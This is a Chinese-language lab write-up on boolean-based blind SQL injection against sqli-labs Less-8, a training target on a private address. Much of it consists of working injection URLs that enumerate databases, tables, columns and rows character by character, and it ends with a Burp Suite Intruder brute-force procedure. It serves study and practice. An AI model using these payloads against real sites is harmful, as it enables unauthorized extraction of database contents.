练习10
Abstract: SQL 盲注总结,目标站点是 sqli-labs
中的 Less-8
Table of Contents
- 找注入点
- 判断类型
- 判断数据库个数
- 判断各数据库名的长度
- 判断数据库名
- 判断当前数据库中表的个数
- 判断当前数据库中各个表名的长度
- 判断当前数据库中表名
- 查看 users 表中字段个数
- 判断 users 表中第一个字段长度
- 判断第一个字段
- 判断users 表行数
- 总结 SQL 盲注流程
- 用burpsuite判断
找注入点
拿到一个目标站点首先找到注入点,Less-8
注入点为 ?id=1
判断类型
发现输入 id=1'
后页面的 You are in ...
消失了,没有报错信息。
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' |
再次输入
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' --+ |
页面正常显示,所以该注入点为字符型注入,由于页面不显示错误信息,所以使用盲注的方法。
判断数据库个数
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>4 --+ |
发现 >4
正常显示,>5
不正常,故可知数据库个数为 5。
判断各数据库名的长度
先判断第一个数据库名的长度
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 0,1))>17 --+ |
可得第一个库的长度为 18 。
判断数据库名
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select schema_name from information_schema.schemata limit 0, 1), 1, 1)) >104 --+ |
可得第一个字符为 i
。
继续往下做判断
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select schema_name from information_schema.schemata limit 0, 1), 1, 1)) >109 --+ |
可得第二个字符是 n
可以以此判断出数据库中各个库名。
判断当前数据库中表的个数
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ |
判断当前数据库中各个表名的长度
先判断第一个表名长度
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>1 --+ |
判断当前数据库中表名
判断第一个表名
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0, 1), 1, 1)) >100 --+ |
字符为 e
,继续判断可以得出该表名为 emails
。
查看 users
表中字段个数
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') > 2 --+ |
个数为 3 。
判断 users
表中第一个字段长度
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1)) > 1 --+ |
第一个字段长度为 2 。
判断第一个字段
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0, 1), 1, 1)) >104 --+ |
不难判断出第一个字段为 id
。
判断users
表行数
1 | http://192.168.100.52/sqli-labs/Less-8/?id=1' and (select count(*) from security.users) >13 --+ |
可以查看 users
表中的内容。
总结 SQL 盲注流程
- 先找注入点
- 判断类型
- 字符型?整型?
- 盲注还是
UNION SELECT
- 先查一共有几个数据库
- 再查各个数据库长度,为判断库名做准备
- 依次判断出数据库的名称,找到自己想要查询的库
- 先查库中有几个表
- 查各个表的长度
- 依次判断出各个表名
- 查表中有几个字段
- 查各个字段长度
- 依次判断字段名
- 判断出想要字段的数据
用burpsuite判断
把要做判断的 url
发送到 Intruder
点击 Clear $
,在 =%27i%27
中字母 i
两边加上 $
,然后点击 Payloads
,在 Payload type
选择 Brute forcer
,Min length
选择 1
,Max length
选择 1
。
然后点击 Start attack
继续改变位置可查出库名,同理表名,字段名也可以查出。